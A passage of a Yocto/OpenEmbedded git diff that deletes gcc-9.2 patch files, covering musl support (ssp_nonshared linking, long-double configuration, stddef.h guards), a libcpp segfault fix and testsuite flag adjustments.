- #define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-nios2.so.1"
-+#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-nios2.so.1"
-
- #undef LINK_SPEC
- #define LINK_SPEC LINK_SPEC_ENDIAN \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0029-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch b/meta/recipes-devtools/gcc/gcc-9.2/0029-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
deleted file mode 100644
index d19e5a08b9..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0029-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
+++ /dev/null
@@ -1,87 +0,0 @@
-From 474043ca7a064ca7b0a32308a0ed6f7c546f17b2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 27 Jun 2017 18:10:54 -0700
-Subject: [PATCH 29/36] Add ssp_nonshared to link commandline for musl targets
-
-when -fstack-protector options are enabled we need to
-link with ssp_shared on musl since it does not provide
-the __stack_chk_fail_local() so essentially it provides
-libssp but not libssp_nonshared something like
-TARGET_LIBC_PROVIDES_SSP_BUT_NOT_SSP_NONSHARED
- where-as for glibc the needed symbols
-are already present in libc_nonshared library therefore
-we do not need any library helper on glibc based systems
-but musl needs the libssp_noshared from gcc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/linux.h | 7 +++++++
- gcc/config/rs6000/linux.h | 10 ++++++++++
- gcc/config/rs6000/linux64.h | 10 ++++++++++
- 3 files changed, 27 insertions(+)
-
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index 4b05d8e93d1..0ca117e2ed4 100644
---- a/gcc/config/linux.h
-+++ b/gcc/config/linux.h
-@@ -195,6 +195,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
- { 0, 0, 0, 0, 0, 0 } \
- }
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+
- #endif
-
- #if (DEFAULT_LIBC == LIBC_UCLIBC) && defined (SINGLE_LIBC) /* uClinux */
-diff --git a/gcc/config/rs6000/linux.h b/gcc/config/rs6000/linux.h
-index ffceb32bf65..c82cb2ad05b 100644
---- a/gcc/config/rs6000/linux.h
-+++ b/gcc/config/rs6000/linux.h
-@@ -94,6 +94,16 @@
- " -m elf32ppclinux")
- #endif
-
-+/* link libssp_nonshared.a with musl */
-+#if DEFAULT_LIBC == LIBC_MUSL
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+#endif
-+
- #undef LINK_OS_LINUX_SPEC
- #define LINK_OS_LINUX_SPEC LINK_OS_LINUX_EMUL " %{!shared: %{!static: \
- %{!static-pie: \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 45a9a7cae59..d1e88a40e82 100644
---- a/gcc/config/rs6000/linux64.h
-+++ b/gcc/config/rs6000/linux64.h
-@@ -456,6 +456,16 @@ extern int dot_symbols;
- " -m elf64ppc")
- #endif
-
-+/* link libssp_nonshared.a with musl */
-+#if DEFAULT_LIBC == LIBC_MUSL
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+#endif
-+
- #define LINK_OS_LINUX_SPEC32 LINK_OS_LINUX_EMUL32 " %{!shared: %{!static: \
- %{!static-pie: \
- %{rdynamic:-export-dynamic} \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0030-libgcc-Add-knob-to-use-ldbl-128-on-ppc.patch b/meta/recipes-devtools/gcc/gcc-9.2/0030-libgcc-Add-knob-to-use-ldbl-128-on-ppc.patch
deleted file mode 100644
index 38eab5a083..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0030-libgcc-Add-knob-to-use-ldbl-128-on-ppc.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-From 47467f3ab0fb2f2fcede81060fe8bb339d0909eb Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz@port70.net>
-Date: Wed, 28 Feb 2018 00:54:05 +0000
-Subject: [PATCH 10/12] ldbl128 config
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/configure | 13 +++++++++++++
- gcc/configure.ac | 16 ++++++++++++++--
- 2 files changed, 27 insertions(+), 2 deletions(-)
-
-diff --git a/gcc/configure b/gcc/configure
-index 6121e163259..07ff8597d48 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -29309,6 +29309,15 @@ if test "${with_long_double_128+set}" = set; then :
- withval=$with_long_double_128; gcc_cv_target_ldbl128="$with_long_double_128"
- else
-
-+ case "$target" in
-+ s390*-*-linux-musl*)
-+ gcc_cv_target_ldbl128=yes
-+ ;;
-+ powerpc*-*-linux-musl*)
-+ gcc_cv_target_ldbl128=no
-+ ;;
-+ *)
-+
- if test $glibc_version_major -gt 2 \
- || ( test $glibc_version_major -eq 2 && test $glibc_version_minor -ge 4 ); then :
- gcc_cv_target_ldbl128=yes
-@@ -29320,6 +29329,10 @@ else
- && gcc_cv_target_ldbl128=yes
-
- fi
-+
-+ ;;
-+ esac
-+
- fi
-
- ;;
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index b066cc609e1..6c15ed898c0 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -5971,13 +5971,25 @@ case "$target" in
- AC_ARG_WITH(long-double-128,
- [AS_HELP_STRING([--with-long-double-128],
- [use 128-bit long double by default])],
-- gcc_cv_target_ldbl128="$with_long_double_128",
-+ gcc_cv_target_ldbl128="$with_long_double_128", [
-+ case "$target" in
-+ s390*-*-linux-musl*)
-+ gcc_cv_target_ldbl128=yes
-+ ;;
-+ powerpc*-*-linux-musl*)
-+ gcc_cv_target_ldbl128=no
-+ ;;
-+ *)]
- [GCC_GLIBC_VERSION_GTE_IFELSE([2], [4], [gcc_cv_target_ldbl128=yes], [
- [gcc_cv_target_ldbl128=no
- grep '^[ ]*#[ ]*define[ ][ ]*__LONG_DOUBLE_MATH_OPTIONAL' \
- $target_header_dir/bits/wordsize.h > /dev/null 2>&1 \
- && gcc_cv_target_ldbl128=yes
-- ]])])
-+ ]])]
-+ [
-+ ;;
-+ esac
-+ ])
- ;;
- esac
- if test x$gcc_cv_target_ldbl128 = xyes; then
---
-2.17.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0031-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch b/meta/recipes-devtools/gcc/gcc-9.2/0031-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
deleted file mode 100644
index dc2141d70c..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0031-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 266dcc78e4d9d38de2809118977d97dc9270cf1f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 4 May 2016 21:11:34 -0700
-Subject: [PATCH 31/36] Link libgcc using LDFLAGS, not just SHLIB_LDFLAGS
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libgcc/config/t-slibgcc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libgcc/config/t-slibgcc b/libgcc/config/t-slibgcc
-index 099bf23e62f..436b277a79f 100644
---- a/libgcc/config/t-slibgcc
-+++ b/libgcc/config/t-slibgcc
-@@ -32,7 +32,7 @@ SHLIB_INSTALL_SOLINK = $(LN_S) $(SHLIB_SONAME) \
- $(DESTDIR)$(slibdir)$(SHLIB_SLIBDIR_QUAL)/$(SHLIB_SOLINK)
-
- SHLIB_LINK = $(CC) $(LIBGCC2_CFLAGS) -shared -nodefaultlibs \
-- $(SHLIB_LDFLAGS) \
-+ $(LDFLAGS) $(SHLIB_LDFLAGS) \
- -o $(SHLIB_DIR)/$(SHLIB_SONAME).tmp @multilib_flags@ \
- $(SHLIB_OBJS) $(SHLIB_LC) && \
- rm -f $(SHLIB_DIR)/$(SHLIB_SOLINK) && \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0032-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch b/meta/recipes-devtools/gcc/gcc-9.2/0032-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
deleted file mode 100644
index 8dde016ce5..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0032-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-From 9975b6ed3570bbf7c7d2d82f4d5f733d24ccacf5 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz@port70.net>
-Date: Sat, 24 Oct 2015 20:09:53 +0000
-Subject: [PATCH 32/36] libgcc_s: Use alias for __cpu_indicator_init instead of
- symver
-
-Adapter from
-
-https://gcc.gnu.org/ml/gcc-patches/2015-05/msg00899.html
-
-This fix was debated but hasnt been applied gcc upstream since
-they expect musl to support '@' in symbol versioning which is
-a sun/gnu versioning extention. This patch however avoids the
-need for the '@' symbols at all
-
-libgcc/Changelog:
-
-2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
-
- * config/i386/cpuinfo.c (__cpu_indicator_init_local): Add.
- (__cpu_indicator_init@GCC_4.8.0, __cpu_model@GCC_4.8.0): Remove.
-
- * config/i386/t-linux (HOST_LIBGCC2_CFLAGS): Remove -DUSE_ELF_SYMVER.
-
-gcc/Changelog:
-
-2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
-
- * config/i386/i386.c (ix86_expand_builtin): Make __builtin_cpu_init
- call __cpu_indicator_init_local instead of __cpu_indicator_init.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/i386/i386.c | 4 ++--
- libgcc/config/i386/cpuinfo.c | 6 +++---
- libgcc/config/i386/t-linux | 2 +-
- 3 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/gcc/config/i386/i386.c b/gcc/config/i386/i386.c
-index 2b37296e537..dd380ddba88 100644
---- a/gcc/config/i386/i386.c
-+++ b/gcc/config/i386/i386.c
-@@ -36658,10 +36658,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
- {
- case IX86_BUILTIN_CPU_INIT:
- {
-- /* Make it call __cpu_indicator_init in libgcc. */
-+ /* Make it call __cpu_indicator_init_local in libgcc.a. */
- tree call_expr, fndecl, type;
- type = build_function_type_list (integer_type_node, NULL_TREE);
-- fndecl = build_fn_decl ("__cpu_indicator_init", type);
-+ fndecl = build_fn_decl ("__cpu_indicator_init_local", type);
- call_expr = build_call_expr (fndecl, 0);
- return expand_expr (call_expr, target, mode, EXPAND_NORMAL);
- }
-diff --git a/libgcc/config/i386/cpuinfo.c b/libgcc/config/i386/cpuinfo.c
-index d6cb2de6265..ce04ef78205 100644
---- a/libgcc/config/i386/cpuinfo.c
-+++ b/libgcc/config/i386/cpuinfo.c
-@@ -504,7 +504,7 @@ __cpu_indicator_init (void)
- return 0;
- }
-
--#if defined SHARED && defined USE_ELF_SYMVER
--__asm__ (".symver __cpu_indicator_init, __cpu_indicator_init@GCC_4.8.0");
--__asm__ (".symver __cpu_model, __cpu_model@GCC_4.8.0");
-+#ifndef SHARED
-+int __cpu_indicator_init_local (void)
-+ __attribute__ ((weak, alias ("__cpu_indicator_init")));
- #endif
-diff --git a/libgcc/config/i386/t-linux b/libgcc/config/i386/t-linux
-index 8506a635790..564296f788e 100644
---- a/libgcc/config/i386/t-linux
-+++ b/libgcc/config/i386/t-linux
-@@ -3,5 +3,5 @@
- # t-slibgcc-elf-ver and t-linux
- SHLIB_MAPFILES = libgcc-std.ver $(srcdir)/config/i386/libgcc-glibc.ver
-
--HOST_LIBGCC2_CFLAGS += -mlong-double-80 -DUSE_ELF_SYMVER $(CET_FLAGS)
-+HOST_LIBGCC2_CFLAGS += -mlong-double-80 $(CET_FLAGS)
- CRTSTUFF_T_CFLAGS += $(CET_FLAGS)
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0033-sync-gcc-stddef.h-with-musl.patch b/meta/recipes-devtools/gcc/gcc-9.2/0033-sync-gcc-stddef.h-with-musl.patch
deleted file mode 100644
index b99ac429a0..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0033-sync-gcc-stddef.h-with-musl.patch
+++ /dev/null
@@ -1,91 +0,0 @@
-From 39e2f61d262f9f6c7a91068998dea80791ef665e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Feb 2017 12:56:00 -0800
-Subject: [PATCH 33/36] sync gcc stddef.h with musl
-
-musl defines ptrdiff_t size_t and wchar_t
-so dont define them here if musl is definining them
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/ginclude/stddef.h | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/gcc/ginclude/stddef.h b/gcc/ginclude/stddef.h
-index da692e1c01a..9a00c261adb 100644
---- a/gcc/ginclude/stddef.h
-+++ b/gcc/ginclude/stddef.h
-@@ -128,6 +128,7 @@ _TYPE_wchar_t;
- #ifndef ___int_ptrdiff_t_h
- #ifndef _GCC_PTRDIFF_T
- #ifndef _PTRDIFF_T_DECLARED /* DragonFly */
-+#ifndef __DEFINED_ptrdiff_t /* musl */
- #define _PTRDIFF_T
- #define _T_PTRDIFF_
- #define _T_PTRDIFF
-@@ -137,10 +138,12 @@ _TYPE_wchar_t;
- #define ___int_ptrdiff_t_h
- #define _GCC_PTRDIFF_T
- #define _PTRDIFF_T_DECLARED
-+#define __DEFINED_ptrdiff_t /* musl */
- #ifndef __PTRDIFF_TYPE__
- #define __PTRDIFF_TYPE__ long int
- #endif
- typedef __PTRDIFF_TYPE__ ptrdiff_t;
-+#endif /* __DEFINED_ptrdiff_t */
- #endif /* _PTRDIFF_T_DECLARED */
- #endif /* _GCC_PTRDIFF_T */
- #endif /* ___int_ptrdiff_t_h */
-@@ -178,6 +181,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
- #ifndef _GCC_SIZE_T
- #ifndef _SIZET_
- #ifndef __size_t
-+#ifndef __DEFINED_size_t /* musl */
- #define __size_t__ /* BeOS */
- #define __SIZE_T__ /* Cray Unicos/Mk */
- #define _SIZE_T
-@@ -194,6 +198,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
- #define ___int_size_t_h
- #define _GCC_SIZE_T
- #define _SIZET_
-+#define __DEFINED_size_t /* musl */
- #if defined (__FreeBSD__) \
- || defined(__DragonFly__) \
- || defined(__FreeBSD_kernel__) \
-@@ -228,6 +233,7 @@ typedef long ssize_t;
- #endif /* _SIZE_T */
- #endif /* __SIZE_T__ */
- #endif /* __size_t__ */
-+#endif /* __DEFINED_size_t */
- #undef __need_size_t
- #endif /* _STDDEF_H or __need_size_t. */
-
-@@ -257,6 +263,7 @@ typedef long ssize_t;
- #ifndef ___int_wchar_t_h
- #ifndef __INT_WCHAR_T_H
- #ifndef _GCC_WCHAR_T
-+#ifndef __DEFINED_wchar_t /* musl */
- #define __wchar_t__ /* BeOS */
- #define __WCHAR_T__ /* Cray Unicos/Mk */
- #define _WCHAR_T
-@@ -272,6 +279,7 @@ typedef long ssize_t;
- #define __INT_WCHAR_T_H
- #define _GCC_WCHAR_T
- #define _WCHAR_T_DECLARED
-+#define __DEFINED_wchar_t /* musl */
-
- /* On BSD/386 1.1, at least, machine/ansi.h defines _BSD_WCHAR_T_
- instead of _WCHAR_T_, and _BSD_RUNE_T_ (which, unlike the other
-@@ -337,6 +345,7 @@ typedef __WCHAR_TYPE__ wchar_t;
- #endif
- #endif /* __WCHAR_T__ */
- #endif /* __wchar_t__ */
-+#endif /* __DEFINED_wchar_t musl */
- #undef __need_wchar_t
- #endif /* _STDDEF_H or __need_wchar_t. */
-
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0034-fix-segmentation-fault-in-precompiled-header-generat.patch b/meta/recipes-devtools/gcc/gcc-9.2/0034-fix-segmentation-fault-in-precompiled-header-generat.patch
deleted file mode 100644
index 06a3c9f884..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0034-fix-segmentation-fault-in-precompiled-header-generat.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From aaa896a57b0004a74c1d474e74b21f41147a65cb Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Mon, 19 Mar 2018 22:31:20 -0700
-Subject: [PATCH 34/36] fix segmentation fault in precompiled header generation
-
-Prevent a segmentation fault which occurs when using incorrect
-structure trying to access name of some named operators, such as
-CPP_NOT, CPP_AND etc. "token->val.node.spelling" cannot be used in
-those cases, as is may not be initialized at all.
-
-[YOCTO #11738]
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libcpp/lex.c | 26 +++++++++++++++++++++-----
- 1 file changed, 21 insertions(+), 5 deletions(-)
-
-diff --git a/libcpp/lex.c b/libcpp/lex.c
-index eedfcbb3146..15040a1b1f0 100644
---- a/libcpp/lex.c
-+++ b/libcpp/lex.c
-@@ -3280,11 +3280,27 @@ cpp_spell_token (cpp_reader *pfile, const cpp_token *token,
- spell_ident:
- case SPELL_IDENT:
- if (forstring)
-- {
-- memcpy (buffer, NODE_NAME (token->val.node.spelling),
-- NODE_LEN (token->val.node.spelling));
-- buffer += NODE_LEN (token->val.node.spelling);
-- }
-+ {
-+ if (token->type == CPP_NAME)
-+ {
-+ memcpy (buffer, NODE_NAME (token->val.node.spelling),
-+ NODE_LEN (token->val.node.spelling));
-+ buffer += NODE_LEN (token->val.node.spelling);
-+ break;
-+ }
-+ /* NAMED_OP, cannot use node.spelling */
-+ if (token->flags & NAMED_OP)
-+ {
-+ const char *str = cpp_named_operator2name (token->type);
-+ if (str)
-+ {
-+ size_t len = strlen(str);
-+ memcpy(buffer, str, len);
-+ buffer += len;
-+ }
-+ break;
-+ }
-+ }
- else
- buffer = _cpp_spell_ident_ucns (buffer, token->val.node.node);
- break;
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0035-Fix-for-testsuite-failure.patch b/meta/recipes-devtools/gcc/gcc-9.2/0035-Fix-for-testsuite-failure.patch
deleted file mode 100644
index 7470cbfcfc..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0035-Fix-for-testsuite-failure.patch
+++ /dev/null
@@ -1,258 +0,0 @@
-From 0f9d449c739df03782ce9d29f6b68d9af976a607 Mon Sep 17 00:00:00 2001
-From: RAGHUNATH LOLUR <raghunath.lolur@kpit.com>
-Date: Wed, 6 Dec 2017 22:52:26 -0800
-Subject: [PATCH 35/36] Fix for testsuite failure
-
-2017-11-16 Raghunath Lolur <raghunath.lolur@kpit.com>
-
- * gcc.dg/pr56275.c: If SSE is disabled, ensure that
- "-mfpmath" is not set to use SSE. Set "-mfpmath=387".
- * gcc.dg/pr68306.c: Likewise
- * gcc.dg/pr68306-2.c: Likewise
- * gcc.dg/pr68306-3.c: Likewise
- * gcc.dg/pr69634.c: Likewise
- * gcc.target/i386/amd64-abi-1.c: Likewise
- * gcc.target/i386/funcspec-6.c: Likewise
- * gcc.target/i386/interrupt-387-err-1.c: Likewise
- * gcc.target/i386/isa-14.c: Likewise
- * gcc.target/i386/pr44948-2b.c: Likewise
- * gcc.target/i386/pr53425-1.c: Likewise
- * gcc.target/i386/pr53425-2.c: Likewise
- * gcc.target/i386/pr55247.c: Likewise
- * gcc.target/i386/pr59644.c: Likewise
- * gcc.target/i386/pr62120.c: Likewise
- * gcc.target/i386/pr70467-1.c: Likewise
- * gcc.target/i386/warn-vect-op-1.c: Likewise
-
-If -Wall, -Werror are used during compilation various test cases fail
-to compile.
-
-If SSE is disabled, be sure to -mfpmath=387 to resolve this.
-
-This patch removes the changes to Changelog from the original patch.
-This will help us avoid conflicts.
-
-Upstream-Status: Pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- gcc/testsuite/gcc.dg/pr56275.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-2.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-3.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306.c | 2 +-
- gcc/testsuite/gcc.dg/pr69634.c | 2 +-
- gcc/testsuite/gcc.target/i386/amd64-abi-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/funcspec-6.c | 1 +
- gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/isa-14.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr44948-2b.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-2.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr55247.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr59644.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr62120.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr70467-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/warn-vect-op-1.c | 2 +-
- 17 files changed, 17 insertions(+), 16 deletions(-)
-
-diff --git a/gcc/testsuite/gcc.dg/pr56275.c b/gcc/testsuite/gcc.dg/pr56275.c
-index b901bb2b199..a4f6c95e1a1 100644
---- a/gcc/testsuite/gcc.dg/pr56275.c
-+++ b/gcc/testsuite/gcc.dg/pr56275.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2" } */
--/* { dg-additional-options "-mno-sse" { target { i?86-*-* x86_64-*-* } } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target { i?86-*-* x86_64-*-* } } } */
-
- typedef long long v2tw __attribute__ ((vector_size (2 * sizeof (long long))));
-
-diff --git a/gcc/testsuite/gcc.dg/pr68306-2.c b/gcc/testsuite/gcc.dg/pr68306-2.c
-index 4672ebe7987..2a368c484b6 100644
---- a/gcc/testsuite/gcc.dg/pr68306-2.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-2.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- struct {
- int tz_minuteswest;
-diff --git a/gcc/testsuite/gcc.dg/pr68306-3.c b/gcc/testsuite/gcc.dg/pr68306-3.c
-index f5a8c102cf8..df3390c64c2 100644
---- a/gcc/testsuite/gcc.dg/pr68306-3.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-3.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-additional-options "-mno-altivec -mno-vsx" { target powerpc*-*-* } } */
-
- extern void fn2();
-diff --git a/gcc/testsuite/gcc.dg/pr68306.c b/gcc/testsuite/gcc.dg/pr68306.c
-index 54e5b40f221..0813389e2c1 100644
---- a/gcc/testsuite/gcc.dg/pr68306.c
-+++ b/gcc/testsuite/gcc.dg/pr68306.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- enum powerpc_pmc_type { PPC_PMC_IBM };
- struct {
-diff --git a/gcc/testsuite/gcc.dg/pr69634.c b/gcc/testsuite/gcc.dg/pr69634.c
-index 60a56149463..bcc23f9ccd6 100644
---- a/gcc/testsuite/gcc.dg/pr69634.c
-+++ b/gcc/testsuite/gcc.dg/pr69634.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2 -fno-dce -fschedule-insns -fno-tree-vrp -fcompare-debug -Wno-psabi" } */
--/* { dg-additional-options "-mno-sse" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-require-effective-target scheduling } */
-
- typedef unsigned short u16;
-diff --git a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-index 69fde57bf06..7f1f1c03edf 100644
---- a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-+++ b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
- /* { dg-additional-options "-mabi=sysv" { target *-*-mingw* } } */
-
- double foo(void) { return 0; } /* { dg-error "SSE disabled" } */
-diff --git a/gcc/testsuite/gcc.target/i386/funcspec-6.c b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-index ea896b7ebfd..bf15569b826 100644
---- a/gcc/testsuite/gcc.target/i386/funcspec-6.c
-+++ b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-@@ -1,6 +1,7 @@
- /* Test whether all of the 64-bit function specific options are accepted
- without error. */
- /* { dg-do compile { target { ! ia32 } } } */
-+/* { dg-additional-options "-mfpmath=387" } */
-
- #include "funcspec-56.inc"
-
-diff --git a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-index 8561a3c26d6..6377f814645 100644
---- a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-+++ b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387" } */
-+/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387 -mfpmath=387" } */
-
- typedef unsigned int uword_t __attribute__ ((mode (__word__)));
-
-diff --git a/gcc/testsuite/gcc.target/i386/isa-14.c b/gcc/testsuite/gcc.target/i386/isa-14.c
-index 5d49e6e77fe..1de2db92bdd 100644
---- a/gcc/testsuite/gcc.target/i386/isa-14.c
-+++ b/gcc/testsuite/gcc.target/i386/isa-14.c
-@@ -1,5 +1,5 @@
- /* { dg-do run } */
--/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse" } */
-+/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse -mfpmath=387" } */
-
- extern void abort (void);
-
-diff --git a/gcc/testsuite/gcc.target/i386/pr44948-2b.c b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-index fa1769b62fb..f79fb12726f 100644
---- a/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-+++ b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic" } */
-+/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic -mfpmath=387" } */
-
- struct A
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-1.c b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-index 2e89ff7d81d..6339bf6b736 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef double __v2df __attribute__ ((__vector_size__ (16)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-2.c b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-index 61f6283dbe9..2c5a55f0ac3 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-2.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef float __v2sf __attribute__ ((__vector_size__ (8)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr55247.c b/gcc/testsuite/gcc.target/i386/pr55247.c
